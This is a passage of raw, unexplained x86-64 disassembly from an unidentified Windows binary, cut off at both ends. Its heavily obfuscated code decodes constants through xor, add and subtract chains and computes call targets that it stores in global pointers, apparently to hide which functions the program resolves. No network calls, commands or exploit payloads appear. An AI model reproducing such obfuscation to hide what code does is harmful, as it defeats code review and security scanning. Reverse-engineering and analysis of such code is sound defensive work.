and dword [rbp + 4], 0
mov dword [rbp + 4], 0x49bb7355
mov eax, dword [rbp + 4]
add eax, 0xeb670fb8
xor eax, 0xa50d7d6b
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x6527c42d
xor eax, 0x7e85edba
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x49762b17
add eax, ecx
xor eax, 0xef7eec1c
add eax, 0x18a78e09
xor eax, 0xdb6b121d
mov r14d, dword [0x14035f030]
xor r14d, 0x1852656d
sub r14d, eax
mov eax, dword [0x14035f038]
xor eax, 0xe7ad9a92
sub r14d, eax
sub r14d, ecx
add r14d, 0x46118aa2
xor r14d, 0x55aa6a2a
mov dword [rbp + 4], r14d
mov eax, dword [rbp + 0x90]
mov dword [rsp + 0x70], eax
xor ecx, ecx
mov byte [rbp + 0x558], cl
lea rcx, [rbp + 0x558]
call fcn.140290018
mov r12, qword [0x14035f070]
movabs rax, 0x269cb59800000000
imul r12, rax
movabs rax, 0xd3d31cb700000000
xor r12, rax
mov rcx, r12
movabs r9, 0xbbadf91f49a1fc68
imul rcx, r9
movabs r11, 0xaaaaaaaaaaaaaaab
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rbx, r12
and rbx, r9
lea r15, [0x14035f060]
imul rbx, qword [r15 + rcx*8]
movabs rax, 0x9d1a1bded26d18b8
imul rbx, rax
shr rbx, 3
movabs rax, 0x97acc4a9be0b0268
xor rbx, rax
mov r9, r12
movabs rax, 0xffffff57c7bf6d9b
imul r9, rax
sub r9, 0x3560eb8
xor r9, rbx
xor r9, qword [0x14035f060]
mov rax, rbx
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bce0cd2ba
imul rax, rcx
not rax
and r9, rax
ror r9, 0x23
shr r9, 8
movabs r8, 0x445206e0b65e0398
lea rcx, [r12 + r8]
xor rcx, 0xfffffffff082d9b7
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rdi, qword [r15 + rcx*8]
movabs rax, 0x1473b6c8838c6f0
imul rdi, rax
sub rdi, r8
mov rax, rbx
movabs rcx, 0xdda604ec9a72d660
imul rax, rcx
xor rdi, rax
shr rdi, 0x1f
not rdi
mov r10, rdi
xor r10, r12
lea rcx, [rdi + r8]
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, dil
movzx ecx, byte [r15 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xab
mov eax, 0x8000003f
and ecx, eax
jge 0x14029619a
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r10, cl
not r10
imul r10, rbx
imul r13, r10, 0xfffffffffca9f148
lea r15, [r8 + r13]
mov r8, rdi
imul r8, r9
sub r8, r15
movabs rcx, 0x963d578bb2757f3f
xor r8, rcx
movzx ecx, r15b
xor ecx, 4
and ecx, 0xf
and ecx, eax
jge 0x1402961db
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r8, cl
mov rax, r15
sub rax, qword [0x14035f078]
xor r8, rax
movabs rax, 0x88f5991c34d4e540
imul r10, rax
movabs rax, 0x1bfb39a2c3acea40
sub r10, rax
xor r8, r10
xor r8, rbx
xor r8, r12
mov rax, r11
mul rbx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rdx, rbx
sub rdx, rax
mov rax, r8
imul rax, qword [0x14035f080]
lea rcx, [0x14035f060]
mov r11, qword [rcx + rdx*8]
and r11, rax
xor r11, rbx
and bl, 0x3f
mov cl, bl
ror r11, cl
imul r11, r15
not r9
imul r9, rdi
movabs rax, 0x7cd8a7de75e23856
imul r9, rax
mov rax, r11
imul rax, r12
xor r9, rax
mov rbx, qword [0x14035f060]
imul r10, rbx, 0xfffffffffca9f148
mov rdx, qword [0x14035f068]
sub r10, rdx
mov al, r9b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1402962a1
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r10, cl
lea rcx, [r10 + r13]
movabs rax, 0xbbadf91f49a1fc68
imul rcx, rax
movabs rax, 0x1bfb39a2c3acea40
sub rcx, rax
movabs rax, 0xbbadf91f49a1fc67
sub rax, r13
imul rcx, rax
imul rcx, r8
movabs rax, 0xf5ed7e87821a7847
xor rdi, rax
not rdi
xor rcx, rdi
xor r11, r9
imul r11, rbx
sub rcx, r11
call fcn.14028fc94
mov qword [0x14036d9b8], rax
xor ebx, ebx
mov dword [rbp + 8], ebx
mov dword [rbp + 8], 0x76446886
mov eax, dword [rbp + 8]
add eax, 0x419887b5
xor eax, 0x1d09d39d
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x5a2a5895
xor eax, 0x36fbafdd
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x427604b6
add eax, ecx
xor eax, 0x1d2e7f3f
add eax, 0x4c3fb6e3
xor eax, 0xf06fa493
lea edx, [rcx - 0x7909079d]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xd9066072
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x26f99f8d
add ecx, 0x86fd3e0d
add ecx, edx
xor ecx, 0x394becca
mov dword [rbp + 8], ecx
movsxd r9, ecx
mov dword [rbp + 0xc], ebx
mov dword [rbp + 0xc], 0x38340095
mov eax, dword [rbp + 0xc]
add eax, 0x843acc35
xor eax, 0x618a163f
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x250dc09d
xor eax, 0xf34ee24b
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x2802c0ba
add eax, ecx
xor eax, 0xd12d691d
add eax, 0x1b19d095
xor eax, 0xab1c6d40
mov edx, dword [0x14035f030]
xor edx, 0x25ef167b
sub edx, eax
mov eax, dword [0x14035f038]
xor eax, 0xda10e984
sub edx, eax
sub edx, ecx
sub edx, 0x33544223
xor edx, 0x506d8a6c
mov dword [rbp + 0xc], edx
movsxd r8, edx
mov dword [rbp + 0x10], ebx
mov dword [rbp + 0x10], 0xec7b4555
mov eax, dword [rbp + 0x10]
add eax, 0x409c06b6
xor eax, 0x9c0ad2a0
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x5d276312
xor eax, 0x33fc22e0
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x684cc5d0
add eax, ecx
xor eax, 0xfa4e8262
sub eax, 0x786e4851
xor eax, 0x78e5ecf7
mov edx, dword [0x14035f030]
xor edx, 0x22fd9191
sub edx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdd026e6e
sub edx, eax
sub edx, ecx
sub edx, 0x7e549cf
xor edx, 0x4da2da4e
mov dword [rbp + 0x10], edx
movsxd rdx, edx
mov eax, dword [0x1403816e4]
test eax, eax
jne 0x140296498
mov dword [rsp + 0x70], ebx
jmp 0x1402964eb
mov dword [rbp + 0x230], eax
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x48], rsi
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0x40], eax
lea rax, [rbp + 0x140]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r14d
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x220]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x78]
call fcn.1402a1240
mov dword [rsp + 0x70], eax
mov dword [rbp + 0x10], ebx
mov dword [rbp + 0xc], ebx
mov dword [rbp + 8], ebx
mov dword [rbp + 0x14], ebx
mov dword [rbp + 0x14], 0x6e18d9d2
mov ecx, dword [rbp + 0x14]
add ecx, 0x2f8b136
xor ecx, 0x468a94fd
sub ecx, dword [0x14035f050]
sub ecx, dword [0x14035f058]
add ecx, 0x239186ee
xor ecx, 0x729605b6
sub ecx, dword [0x14035f048]
mov rdx, qword [0x14035f040]
lea eax, [rdx - 0x40803a0]
add eax, ecx
xor eax, 0x409ccfe8
add eax, 0x744a55a1
xor eax, 0x43b984d1
mov r13d, dword [0x14035f030]
xor r13d, 0x23f41ee7
sub r13d, eax
mov eax, dword [0x14035f038]
xor eax, 0xdc0be118
sub r13d, eax
sub r13d, edx
add r13d, 0x44e2fd31
xor r13d, 0xc5f8eca8
mov dword [rbp + 0x14], r13d
mov dword [rbp + 0x14], ebx
mov dword [rbp + 4], ebx
mov qword [rbp + 0xe0], rbx
movabs rax, 0x3d794e57c2986000
movabs r9, 0xf9520bcd1f611b0a
movabs r8, 0x9de04d4e5540a7a7
mov rbx, qword [0x14035f070]
imul rbx, rax
movabs rax, 0x8a9dcdf53a1e9000
xor rbx, rax
mov rcx, rbx
imul rcx, r8
mov qword [rbp + 0x558], rcx
movabs rdi, 0xaaaaaaaaaaaaaaab
mov rax, rdi
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r10, rbx
and r10, r8
lea rax, [0x14035f060]
imul r10, qword [rax + rcx*8]
movabs rax, 0xdcdd3fb1e752c224
imul r10, rax
shr r10, 3
movabs rax, 0x39b73e97047273a5
xor r10, rax
movabs rax, 0xffffff57cb3fd0c5
mov r14, rbx
imul r14, rax
sub r14, 0x1b5d796
xor r14, r10
xor r14, qword [0x14035f060]
mov rax, r10
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bc28c6fe4
imul rax, rcx
not rax
and r14, rax
ror r14, 0x32
shr r14, 8
movabs r15, 0x621fb2b1aabf5859
lea rcx, [rbx + r15]
xor rcx, 0xfffffffffc0264e9
mov rax, rdi
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x347f26e1ee3b048
lea r11, [0x14035f060]
mov rsi, qword [r11 + rcx*8]
imul rsi, rax
sub rsi, r15
movabs rcx, 0x218f5e5395f0a618
mov rax, r10
imul rax, rcx
xor rsi, rax
shr rsi, 0x1f
not rsi
mov r12, rsi
xor r12, rbx
lea rcx, [rsi + r15]
mov rax, rdi
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, sil
movzx ecx, byte [r11 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xf5
and ecx, 0x8000003f
jge 0x140296708
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r12, cl
not r12
imul r12, r10
imul rdx, r12, 0xfffffffffe4a286a
mov qword [rsp + 0x68], rdx
lea rdi, [rdx + r15]
mov r11, rsi
imul r11, r14
sub r11, rdi
xor r11, r9
mov cl, dil
xor cl, 0xfa
and cl, 0xf
rol r11, cl
mov rax, rdi
sub rax, qword [0x14035f078]
xor r11, rax
movabs rax, 0x26ee63228f3d8326
imul r12, rax
movabs rax, 0x2ee49f6d274b4ef1
sub r12, rax
xor r11, r12
xor r11, r10
xor r11, rbx
mov rax, r11
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x140296ab5
sub rax, 1
je 0x14029698c
sub rax, 1
je 0x140296890
cmp rax, 1
jne 0x140296b5d
mov r9, rdi
imul r9, rsi
movabs rax, 0x613f1e858cc19a7d
add rax, r11
xor r9, rax
ror r9, 0xa
shr r9, 0xc
xor r9, rbx
not r9
movabs rcx, 0x8357207d61e2
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0x629d37c9c1d9193d
xor rdx, rax
movzx eax, r9b
movzx ecx, r11b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db9789d8d1d
sub rax, rsi
mov rsi, rdx
xor rsi, rax
mov rcx, rsi
imul rcx, r8
mov eax, 0xa9465ff7
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14035f060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs r8, 0x27ccd70888b495d0
sub r8, r9
shr r8, cl
movabs rax, 0x6227d73a06818795
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r11
imul rax, qword [r12 + rcx*8]
imul rax, r11
sub rax, r14
xor r8, rax
jmp 0x140296b5d
movabs rax, 0xaaaaaa1aa95fa2c9
mov rcx, r11
xor rcx, rax
movabs rax, 0x1206ed6b527e85
imul rcx, rax
movabs r15, 0xfff17ca87e3d94b5
mov rax, r10
xor rax, r15
sub rcx, rax
movabs rax, 0xffff7e8a8f4f9015
imul rdx, rax
movabs rsi, 0x249a18892d2adf62
add rsi, rcx
add rsi, rdx
movabs rax, 0x277cd7be7b8f75a9
mov rcx, rsi
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rdi, rsi
not rdi
lea rax, [0x14035f060]
imul rdi, qword [rax + rcx*8]
xor rdi, 0xfffffffffc0a7419
lea ecx, [r11 + 0xb]
and cl, 0x3f
rol rdi, cl
movabs rcx, 0xdf97debfeaf28157
mov rax, qword [rbp + 0x558]
xor rax, rcx
movabs rcx, 0x7c7a7dc6950d7ea8
and rax, rcx
imul rdi, rax
mov rcx, rdi
ror rcx, 0x1e
not rcx
movabs rax, 0x9b2de6b2d18fde38
imul rcx, rax
mov rax, rsi
sub rax, rdi
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, r8
mov r8, rdx
imul r8, rax
jmp 0x140296b5d
movabs rax, 0xb49521319f1794b5
imul r11, rax
movabs rax, 0xd79435e50d79435f
mul r11
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r11b
sub cl, dl
movabs rdx, 0x621fb2b1aabf5858
mov rax, rbx
imul rax, rdx
xor rax, r9
not rax
shl rax, cl
xor r10, rax
mov cl, dil
and cl, 0x3f
rol r10, cl
lea rcx, [r11 + r15]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xd4e5540a7a7
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7f59bd4e4
or r10, rax
mov r8, qword [0x14035f070]
imul r8, r9
sub r8, rdi
mov rax, r14
sub rax, r10
xor r8, rax
movabs rax, 0xc7a7c6a6a493d4e9
xor r8, rax
movabs rax, 0xcccccccccccccccd
mul rbx
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rbx
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, r8
div rcx
mov rcx, rdx
mov rdx, r11
imul rdx, rdi
imul rdx, r8
shr rdx, cl
mov rax, rsi
sub rax, rdx
sub rax, rbx
movabs rbx, 0x78958946bc198f3
add rbx, rax
xor rbx, r14
mov al, sil
add al, al
lea ecx, [rax + rsi]
shl cl, 2
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x140296b5d
movabs rax, 0xaaaaaaaaaaaaaaab
mul r10
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r10
sub rcx, rax
mov rax, r11
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r10
and r10b, 0x3f
mov cl, r10b
mov r10, rdx
ror r10, cl
imul r10, rdi
not r14
imul r14, rsi
movabs rax, 0x7cd8a7de79628508
imul r14, rax
mov rax, r10
imul rax, rbx
mov rbx, r14
xor rbx, rax
imul r14, qword [0x14035f060], 0xfffffffffe4a286a
mov rdx, qword [0x14035f068]
sub r14, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140296b52
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
add r14, r15
add r14, qword [rsp + 0x68]
movabs rax, 0xff055d7b89298fc5
xor r9, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r9, rax
xor r10, rbx
lea rax, [0x14035f060]
imul r10, qword [rax + r9*8]
not rdi
imul rdi, r11
imul rdi, r14
imul rdi, r8
movabs rcx, 0xf5ed7e878e9ac519
xor rcx, rsi
not rcx
xor rcx, rdi
sub rcx, r10
call fcn.14001fc7c
mov qword [0x14036d9e8], rax
xor r15d, r15d
mov dword [rbp + 0x18], r15d
mov dword [rbp + 0x18], 0x25d28cb0
mov eax, dword [rbp + 0x18]
add eax, 0xd504f935
xor eax, 0x8e8a6709
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x241b6216
xor eax, 0xa1418c97
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x3a5850a5
add eax, ecx
xor eax, 0x7506cdc9
add eax, 0x28077a81
xor eax, 0x1ab4d06f
mov edx, dword [0x14035f030]
xor edx, 0x24abedc7
sub edx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdb541238
sub edx, eax
sub edx, ecx
add edx, 0x5faa4057
xor edx, 0x5ea00188
mov dword [rbp + 0x18], edx
movsxd rax, edx
mov qword [rbp + 0x558], rax
mov dword [rbp + 0x18], r15d
xor eax, eax
mov byte [rbp + 0x558], al
lea rcx, [rbp + 0x558]
call fcn.140021584
mov dword [rbp + 0x1c], r15d
mov dword [rbp + 0x1c], 0xd1213104
mov qword [rbp + 0xe8], r15
movabs rax, 0xf9823f9ff0008fa5
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xf0], r15
movabs rax, 0x93b63463beb2070b
mov qword [rbp + 0xf0], rax
movabs rcx, 0xf33a52b69bbb0f03
add rcx, qword [rbp + 0xf0]
movabs rax, 0x34553662530a2dbf
xor rcx, rax
mov r11, qword [0x14035f058]
sub rcx, r11
mov r10, qword [0x14035f050]
sub rcx, r10
movabs rax, 0xedf047f5b38c02c
sub rcx, rax
movabs rax, 0xf8f8cd97db709e71
xor rcx, rax
mov r9, qword [0x14035f048]
sub rcx, r9
movabs rax, 0x47d654b8c81c260d
add rcx, rax
mov rbx, qword [0x14035f040]
add rcx, rbx
movabs rax, 0x5a9179a7b65f1ce9
xor rcx, rax
movabs rax, 0x5f627dc6e060017c
sub rcx, rax
movabs rax, 0x663b3cd2135b8fd7
xor rcx, rax
movabs rdx, 0x3483ce442f4b62c9
add rdx, rcx
add rdx, rbx
not rdx
movabs rcx, 0x13cce94ada6eea90
mov r8, qword [0x14035f038]
mov rax, r8
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52591156f
mov rdi, qword [0x14035f030]
mov rcx, rdi
xor rcx, rax
movabs r14, 0xe0b56d8ff0f1ede5
add r14, rdx
add r14, rcx
movabs rax, 0xcd3843e97ae58470
xor r14, rax
mov qword [rbp + 0xf0], r14
movabs rcx, 0xf33a52b71aa57e83
add rcx, qword [rbp + 0xe8]
movabs rax, 0xa3d53662530aacaa
xor rcx, rax
sub rcx, r11
sub rcx, r10
movabs rax, 0x7120fb80a34a8086
add rcx, rax
movabs rax, 0xf8f8cd975a8a8533
xor rcx, rax
sub rcx, r9
movabs rax, 0x7d654b81bd4ebb2
add rcx, rax
add rcx, rbx
movabs rax, 0x5a9179a7259bb5bb
xor rcx, rax
movabs rax, 0x5f627dc682a3a37e
sub rcx, rax
movabs rax, 0xea3b3cd1d3e260c4
xor rcx, rax
movabs rdx, 0xb483ce43b3d95c56
add rdx, rcx
add rdx, rbx
not rdx
movabs rcx, 0x13cce94adc6a944e
mov rax, r8
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b523956bb1
mov rcx, rdi
xor rcx, rax
movabs rsi, 0xe0b56d91ee975523
add rsi, rdx
add rsi, rcx
movabs rax, 0xce880257ed1323ee
xor rsi, rax
mov qword [rbp + 0xe8], rsi
mov eax, dword [rbp + 0x1c]
add eax, 0xdb458fb5
xor eax, 0x250a6d4a
sub eax, r10d
sub eax, r11d
sub eax, 0x5bf75fad
xor eax, 0x9ae7f3bd
sub eax, r9d
add eax, 0x71dba45a
add eax, ebx
xor eax, 0x6de5221f
add eax, 0x285ee003
xor eax, 0x6394532a
xor edi, 0x2492eb6d
sub edi, eax
xor r8d, 0xdb6d1492
sub edi, r8d
sub edi, ebx
sub edi, 0x16390ed
xor edi, 0xd297c82a
mov dword [rbp + 0x1c], edi
mov eax, dword [0x14037da24]
test eax, eax
jne 0x140296ed8
mov eax, r15d
jmp 0x140296efc
mov dword [rbp + 0x248], eax
lea rax, [rbp + 0x238]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x78]
call fcn.1402a1240
movsxd rcx, edi
mov rdx, r15
cmp rax, rcx
setb dl
and rsi, r14
mov rax, r15
cmp rdx, rsi
sete al
mov qword [rbp + 0x558], rax
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xe8], r15
mov dword [rbp + 0x1c], r15d
movabs rax, 0x3000000000000000
movabs r9, 0xf1528e1aad9061ad
movabs r8, 0x808adfa0fc71e71f
mov rsi, qword [0x14035f078]
imul rsi, rax
movabs rax, 0xd000000000000000
xor rsi, rax
mov rcx, rsi
imul rcx, r8
mov qword [rsp + 0x78], rcx
movabs r11, 0xaaaaaaaaaaaaaaab
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r10, rsi
and r10, r8
lea rbx, [0x14035f060]
imul r10, qword [rbx + rcx*8]
movabs rax, 0xeaf23179835b068e
imul r10, rax
shr r10, 3
movabs rax, 0x7227b37c663ecf21
xor r10, rax
movabs rax, 0xffffff57d775cc01
mov r14, rsi
imul r14, rax
sub r14, 0x15fc17a
xor r14, r10
xor r14, qword [0x14035f060]
mov rax, r10
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bdec67320
imul rax, rcx
not rax
and r14, rax
ror r14, 0xe
shr r14, 8
movabs r15, 0x7f75205f038e18e1
lea rcx, [rsi + r15]
xor rcx, 0xffffffffe048782d
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0xbbb194c9d554c240
mov rdi, qword [rbx + rcx*8]
imul rdi, rax
sub rdi, r15
movabs rcx, 0x69bb0f66d7efbbcc
mov rax, r10
imul rax, rcx
xor rdi, rax
shr rdi, 0x1f
not rdi
mov r12, rdi
xor r12, rsi
lea rcx, [rdi + r15]
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, dil
movzx ecx, byte [rbx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x31
and ecx, 0x8000003f
jge 0x14029709e
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r12, cl
not r12
imul r12, r10
imul rdx, r12, 0xfffffffffea03e86
mov qword [rsp + 0x68], rdx
lea rbx, [rdx + r15]
mov r11, rdi
imul r11, r14
sub r11, rbx
xor r11, r9
mov cl, bl
xor cl, 0xfe
and cl, 0xf
rol r11, cl
mov rax, rbx
sub rax, qword [0x14035f078]
xor r11, rax
movabs rax, 0x6d7eeec9eef87c3a
imul r12, rax
movabs rax, 0x25655a72e206f5c1
sub r12, rax
xor r11, r12
xor r11, r10
xor r11, rsi
mov rax, r11
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x140297442
sub rax, 1
je 0x14029731f
sub rax, 1
je 0x140297225
cmp rax, 1
jne 0x1402974eb
mov r9, rbx
imul r9, rdi
movabs rax, 0xe01d237447ffaae1
add rax, r11
xor r9, rax
ror r9, 0x36
shr r9, 0xc
xor r9, rsi
not r9
movabs rcx, 0x83573c377d26
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0x7ff7a52774a24541
xor rdx, rax
movzx eax, r11b
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db964d791d9
sub rax, rdi
mov rdi, rdx
xor rdi, rax
mov rcx, rdi
imul rcx, r8
mov eax, 0xb50c4333
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14035f060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs r8, 0x344f86f8e6ef6e28
sub r8, r9
shr r8, cl
movabs rdx, 0x7f7d44e74b164ce1
mov rcx, qword [rsp + 0x68]
add rcx, rdx
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r11
imul rax, qword [r12 + rcx*8]
imul rax, r11
sub rax, r14
xor r8, rax
jmp 0x1402974eb
movabs rax, 0xaaaaaa1ab515be0d
mov rcx, r11
xor rcx, rax
movabs rax, 0x1206ed77186241
imul rcx, rax
movabs rdi, 0xfff17ca862778871
mov rax, r10
xor rax, rdi
sub rcx, rax
movabs rax, 0xffff7e8a93058cd1
imul rdx, rax
movabs rdi, 0xf2fb367df07e882
add rdi, rcx
add rdi, rdx
movabs rax, 0x277cd7be67c5696d
mov rcx, rdi
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rbx, rdi
not rbx
lea rax, [0x14035f060]
imul rbx, qword [rax + rcx*8]
xor rbx, 0xffffffffe04068dd
lea ecx, [r11 + 0xf]
and cl, 0x3f
rol rbx, cl
movabs rcx, 0x284871c200000000
mov rax, qword [rsp + 0x78]
xor rax, rcx
movabs rcx, 0x7c7a7dc68947626c
and rax, rcx
imul rbx, rax
mov rcx, rbx
ror rcx, 0x3d
not rcx
movabs rax, 0x9b2de6b2a0a7ad28
imul rcx, rax
mov rax, rdi
sub rax, rbx
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, r8
mov r8, rdx
imul r8, rax
jmp 0x1402974eb
movabs rcx, 0xcc341b28bb781851
imul r11, rcx
movabs rax, 0xd79435e50d79435f
mul r11
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r11b
sub cl, dl
movabs rdx, 0x7f75205f038e18e0
mov rax, rsi
imul rax, rdx
xor rax, r9
not rax
shl rax, cl
xor r10, rax
mov cl, bl
and cl, 0x3f
rol r10, cl
lea rcx, [r11 + r15]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x1fa0fc71e71f
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7e9d1c820
or r10, rax
mov r8, qword [0x14035f070]
imul r8, r9
sub r8, rbx
mov rax, r14
sub rax, r10
xor r8, rax
movabs rcx, 0xc7a7c6a6b8d9c82d
xor r8, rcx
movabs rax, 0xcccccccccccccccd
mul rsi
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rsi
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, r8
div rcx
mov rcx, rdx
mov rdx, r11
imul rdx, rbx
imul rdx, r8
shr rdx, cl
mov rax, rdi
sub rax, rdx
sub rax, rsi
movabs rsi, 0x7895894778b8437
add rsi, rax
xor rsi, r14
mov cl, dil
shl cl, 3
and cl, 0x3f
rol rsi, cl
not rsi
jmp 0x1402974eb
movabs rax, 0xaaaaaaaaaaaaaaab
mul r10
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r10
sub rcx, rax
mov rax, r11
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r10
and r10b, 0x3f
mov cl, r10b
mov r10, rdx
ror r10, cl
imul r10, rbx
not r14
imul r14, rdi
movabs rax, 0x7cd8a7de652899cc
imul r14, rax
mov rax, r10
imul rax, rsi
mov rsi, r14
xor rsi, rax
imul r14, qword [0x14035f060], 0xfffffffffea03e86
mov rdx, qword [0x14035f068]
sub r14, rdx
mov al, sil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1402974e0
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
add r14, r15
add r14, qword [rsp + 0x68]
movabs rcx, 0xff055d7b95639301
xor r9, rcx
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r9, rax
xor r10, rsi
lea rax, [0x14035f060]
imul r10, qword [rax + r9*8]
not rbx
imul rbx, r11
imul rbx, r14
imul rbx, r8
movabs rcx, 0xf5ed7e8792d0d9dd
xor rcx, rdi
not rcx
xor rcx, rbx
sub rcx, r10
call fcn.14001ff04
mov qword [0x14036d998], rax
mov rax, qword [rbp + 0x558]
and qword [rbp + 0xf8], 0
movabs rax, 0x9378b8332e1cf86f
mov qword [rbp + 0xf8], rax
and qword [rbp + 0x100], 0
movabs rax, 0x11d330554884f141
mov qword [rbp + 0x100], rax
movabs rcx, 0xf33a52a9e0b9b183
add rcx, qword [rbp + 0x100]
movabs rax, 0xd6d5366252fd72be
xor rcx, rax
sub rcx, qword [0x14035f058]
sub rcx, qword [0x14035f050]
movabs rax, 0x7120fb80caf843ed
add rcx, rax
movabs rax, 0xf8f8cda4c95e0167
